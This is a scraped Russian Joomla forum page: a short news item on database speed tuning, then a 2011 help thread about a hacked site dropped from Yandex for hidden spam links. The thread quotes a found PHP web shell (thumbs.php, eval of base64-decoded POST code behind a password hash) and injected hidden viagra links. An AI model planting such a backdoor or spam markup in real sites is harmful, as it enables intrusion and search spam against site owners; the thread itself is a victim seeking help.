Новости Joomla

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях

👩‍💻 Человек на GitHub ускорил Joomla в 600 раз на объёме 150к+ материалов в 1700+ категориях. На старте его сайт на Joomla 3 вообще не смог обновиться на Joomla 5. Пришлось делать экспорт/импорт материалов. Проделав всё это он запустил-таки этот объём данных на Joomla 5. Тестовый скрипт грузил 200 материалов из этого объёма всего за 94 секунды ))) А главная страница с категориями грузилась 20 секунд. Добавив индекс для таблицы #__content

CREATE INDEX idx_catid_state ON #__content (catid, state);
он сократил время загрузки категорий до 1 секунды. Затем наш герой решил поковырять SQL-запрос в ArticleModel, который отвечает за выборку материалов. И решил заменить тип JOIN на STRAIGHT_JOIN для категорий.
// ->from($db->quoteName('#__content', 'a'))->from(    $db->quoteName('#__content', 'a')    . ' STRAIGHT_JOIN ' . $db->quoteName('#__categories', 'c')    . ' ON ' . $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))// ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
Что сократило загрузку 200 материалов из 150к с 94 секунд до 5. К слову сказать, боевой сайт на Joomla 3 крутится на 12CPU 64GB рамы. А все манипуляции с кодом он делает на базовом 1CPU 1GB сервере и замеры скорости даны именно для базового сервера. Но это всё в дискуссии, хотя в идеале должно вылиться в Pull Requests. Мы - Open Source сообщество, где никто никому ничего не должен. Джунгли. Но человек ищет пути оптимизации Joomla и предлагает решения. Если оказать поддержку и предложить помощь хотя бы с тестированием самых разнообразных сценариев, то возможно эти улучшения смогут войти в ядро. Пусть не быстро, пусть через несколько лет, пусть не все, но войдут. Достаточно предложить руку помощи и приложить немного усилий.
Дискуссию на GitHub можно почитать здесь.@joomlafeed#joomla #community #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 22 Ответов
  • 6071 Просмотров
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Помогите пожалуйста разобраться в такой проблеме.

Яндекс Вебмастер уже больше месяца шлет мне письма такого содержания:
Цитировать
Наши алгоритмы обнаружили на страницах сайта www.eniopsiholog.net, права на который Вы подтвердили в сервисе Яндекс.Вебмастер, скрытый или слабовидимый текст, недоступный пользователям сайта, и предназначенный исключительно для робота поисковой системы. В связи с этим мы вынуждены частично исключить Ваш сайт из поисковой выдачи.

Примеры страниц, на которых обнаружен скрытый текст:
http://www.eniopsiholog.net/component/content/article/221-home-new.html
http://www.eniopsiholog.net/component/content/article/60-soveti-psihologa/268-kto-yua.html
http://www.eniopsiholog.net/component/content/frontpage.html

Пожалуйста, удалите скрытый текст со страниц сайта. Когда изменения будут внесены, сайт вернется в поиск автоматически.

Я не могу найти этот скрытый текст, его не видно нигде ни в Исходном коде страницы, в файлах CSS display: none тоже нет. Как его его найти этот скрытый текст? Служба поддержки Яндекса уверяет что он есть и возможно это какой-то скрипт-вирус. Но где он и как его можно найти?

Помогите пожалуйста мне решить эту проблему, если кто встречался с такой.

Спасибо!
*

yuri-design

  • Давно я тут
  • 652
  • 76 / 5
Цитировать
Статистика показывает, что 70% населения земного шара пользуются услугами ясновидящих, магов, парапсихологов, целителей, знахарей.
Ясновидящие не видят? ;)
Какая разница между ними? Кроме слова
Цитировать
Эниопсихология
http://www.eniopsiholog.net/component/content/article/221-home-new.html
http://www.eniopsiholog.net/component/content/frontpage.html
« Последнее редактирование: 23.03.2011, 22:08:24 от yuri-design »
*

darkskai

  • Осваиваюсь на форуме
  • 41
  • 4 / 0
tmp проверял?
*

Oxlamon

  • Давно я тут
  • 746
  • 95 / 4
yuri-design, а там есть какая-то СЕО-шная фишка? Интересно... (Я про первый, но затёртый пост)

Я бегло посмотрел "eniopsiholog.net" - на вскидку криминала нет. В конце концов, можно ctrl+A -> ctrl+C & ctrl+V в тектовый редактор без форматирования, потом сравнить тексты и найти разницу.
Далее поиск по исходному коду. Ибо поисковые роботы жабаскрипта не видят. Или видят уже?  )))

PS Ясновидящие видят. По первому взгляду на пациента определят цену вопроса. Не то что, некоторые тут: Сколько взять за разработку сайта?...
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
хостинг, версию движка, список компонентов?
*

yuri-design

  • Давно я тут
  • 652
  • 76 / 5
yuri-design, а там есть какая-то СЕО-шная фишка? Интересно... (Я про первый, но затёртый пост)
Да нет, я случайно не туда написал...не в тот пост
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
tmp проверял?

В tmp вот что:  thumbs.php
Код
<?php if(md5($_POST["password"])=="5f62de9a319ad2a28d35e87251690f5f"){eval(base64_decode($_POST["code"]));} ?>

Но что это значит не знаю.
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
хостинг, версию движка, список компонентов?

« Последнее редактирование: 23.03.2011, 22:38:48 от pavel55 »
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе

Список расширений и версии?
Версия ОС на хостинге?
ЗЫ. Случаем не на винде хостинг?
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Список расширений и версии?
Версия ОС на хостинге?
ЗЫ. Случаем не на винде хостинг?
Хостинг Linux
*

darkskai

  • Осваиваюсь на форуме
  • 41
  • 4 / 0
В tmp вот что:  thumbs.php
Код
<?php if(md5($_POST["password"])=="5f62de9a319ad2a28d35e87251690f5f"){eval(base64_decode($_POST["code"]));} ?>

Но что это значит не знаю.



Ок вот почитай http://joomlaforum.ru/index.php/topic,154593.0.html
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0

Ок вот почитай http://joomlaforum.ru/index.php/topic,154593.0.html

Спасибо! Почитал. удалил. Значит в этом была причина? Буду ждать с нетерпением обновление поисковой базы Яндекс.

Вот ещё одно из последних писем Яндекса - откуда эти ссылки у меня?

Цитировать
Здравствуйте!

Приношу свои извинения за задержку с ответом. Фрагмент обнаруженного на сайте скрытого текста прилагаем:

<p style="display: none;">
<a href="http://www.acpq.net/?pid=1">prix viagra</a>
<a href="http://www.acpq.net/?pid=2">viagra prix</a>
<a href="http://www.acpq.net/?pid=3">cialis 20mg</a>
<a href="http://www.acpq.net/?pid=4">cialis generique</a>
<a href="http://www.acpq.net/?pid=5">acheter viagra</a>
<a href="http://www.acpq.net/?pid=6">acheter du viagra</a>
<a href="http://www.acpq.net/?pid=7">viagra acheter</a>
<a href="http://www.acpq.net/?pid=8">cout viagra</a>
<a href="http://www.acpq.net/?pid=9">viagra ou acheter</a>
<a href="http://www.acpq.net/?pid=10">cialis 20 mg</a>
<a href="http://www.acpq.net/?pid=11">prix du viagra</a>
<a href="http://www.acpq.net/?pid=12">viagra le prix</a>
<a href="http://www.acpq.net/?pid=13">viagra a acheter</a>
<a href="http://www.acpq.net/?pid=14">cout du viagra</a>

…и т.д.

Как я уже писал в предыдущем письме, в настоящее время эти ссылки уже не видны на сайте, поэтому после переобхода роботом страницы автоматически восстановятся в поиске.

Скорее всего, данный вид спама появился на сайте в результате взлома. Если Вы не удаляли приведенный нами скрытый текст сами, то это значит, что он исчез из кода произвольно, и может вновь появиться там в любой момент. Рекомендуем сменить все пароли доступа и проверить сайт на наличие уязвимости.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Это не причина, это лишь инструмент. Саппорт в логоле адекватный? Дата изменения этого файла сохранилась?
Логи на это время есть?
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Это не причина, это лишь инструмент. Саппорт в логоле адекватный? Дата изменения этого файла сохранилась?
Логи на это время есть?

Саппорт адекватный. Всегда помогает, но здесь ничем помочь не смог.

В папке Logs тот же вирус был thumbs.php и всё - сколько их у меня и как их всех убить? Чтобы не Яндекс Вебмастер я бы и не знал про эту беду.

Как можно запретить появление или исполнение этого файла thumbs.php в будущем? Одним словом как защититься от этого?
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Саппорт адекватный. Всегда помогает, но здесь ничем помочь не смог.

В папке Logs тот же вирус был thumbs.php и всё - сколько их у меня и как их всех убить? Чтобы не Яндекс Вебмастер я бы и не знал про эту беду.

Как можно запретить появление или исполнение этого файла thumbs.php в будущем? Одним словом как защититься от этого?
Чтоб понять как - надо понять как он был залит - нужна помощь от саппорта, а именно логи за период его появления
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Чтоб понять как - надо понять как он был залит - нужна помощь от саппорта, а именно логи за период его появления

Понятно, сейчас запрошу логи у саппорта за март.
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
1. Логи за такой большой период не хранят
2. По поводу спамовых скриптов на сайте мой хостер  сказал следующее:
Цитировать
Проверьте все установленные скрипты, особое внимание уделите:
plugins/system/freecap/freecap.php
libraries/domit/php_http_client_generic.php
libraries/domit/php_http_proxy.php

plugins/system/freecap/freecap.php - это вообще не понятно что такое появилось у меня на сайте и откуда появилось, я удалил эту папку

А в последних двух не могу понять, что проверять надо.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
1. Логи за такой большой период не хранят
2. По поводу спамовых скриптов на сайте мой хостер  сказал следующее:
plugins/system/freecap/freecap.php - это вообще не понятно что такое появилось у меня на сайте и откуда появилось, я удалил эту папку

А в последних двух не могу понять, что проверять надо.
Полмесяца это большой?
А еще сказали что хостер адекватный
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Есть подозрение на использование уязвимости в редакторе
http://forum.joomla.org/viewtopic.php?p=2400144
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Полмесяца это большой?
А еще сказали что хостер адекватный
:) Значит не совсем адекватный. За редактор спасибо, сейчас изучу.
*

pavel55

  • Осваиваюсь на форуме
  • 30
  • 2 / 0
Снова пришло сообщение о  яндекса:
Цитировать
Наши алгоритмы обнаружили на страницах сайта www.eniopsiholog.net, права на который Вы подтвердили в сервисе Яндекс.Вебмастер, скрытый или слабовидимый текст, недоступный пользователям сайта и предназначенный исключительно для робота поисковой системы. В связи с этим мы вынуждены временно исключить этот сайт из поисковой выдачи.

Примеры страниц, на которых наши алгоритмы обнаружили скрытый текст, приведены ниже:
http://www.eniopsiholog.net/
http://www.eniopsiholog.net/chto-u-vas-v-golove.html
http://www.eniopsiholog.net/component/user/reset.html

Что дальше делать не знаю. Где Яндекс его видит? И как он генерируется на сайте?
*

fatseo

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Удалось решить проблему? Тоже сайты выпали из индекса :(
*

ans73

  • Осваиваюсь на форуме
  • 18
  • 1 / 0
У меня точно такая ситуация с сайтом и по спам ссілкам и по ответу Яндекса. Но в какой то момент Яндекс перестал отвечать на мои письма. ТС отпишись если удалось решить проблему. А то у меня из 370 страниц в индексе только 4.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Помогите решить ошибку

Автор azumi

Ответов: 21
Просмотров: 4607
Последний ответ 08.09.2020, 18:47:08
от gartes
Ошибка #1050 при переносе базы данных на хостинг

Автор Ksen

Ответов: 7
Просмотров: 24922
Последний ответ 16.03.2020, 17:47:29
от Petrovich
Не работает кнопка отправить ?

Автор warlocksp

Ответов: 6
Просмотров: 1659
Последний ответ 10.03.2017, 11:34:50
от warlocksp
Joomla 1.5.23 обновление до самой новой версии

Автор AlexeyPavlov

Ответов: 6
Просмотров: 3039
Последний ответ 12.08.2015, 16:30:53
от SeBun
Где найти перечень отличий версий Joomla 1.5?

Автор ABCroNews

Ответов: 3
Просмотров: 9826
Последний ответ 28.07.2015, 12:35:00
от ShniderHost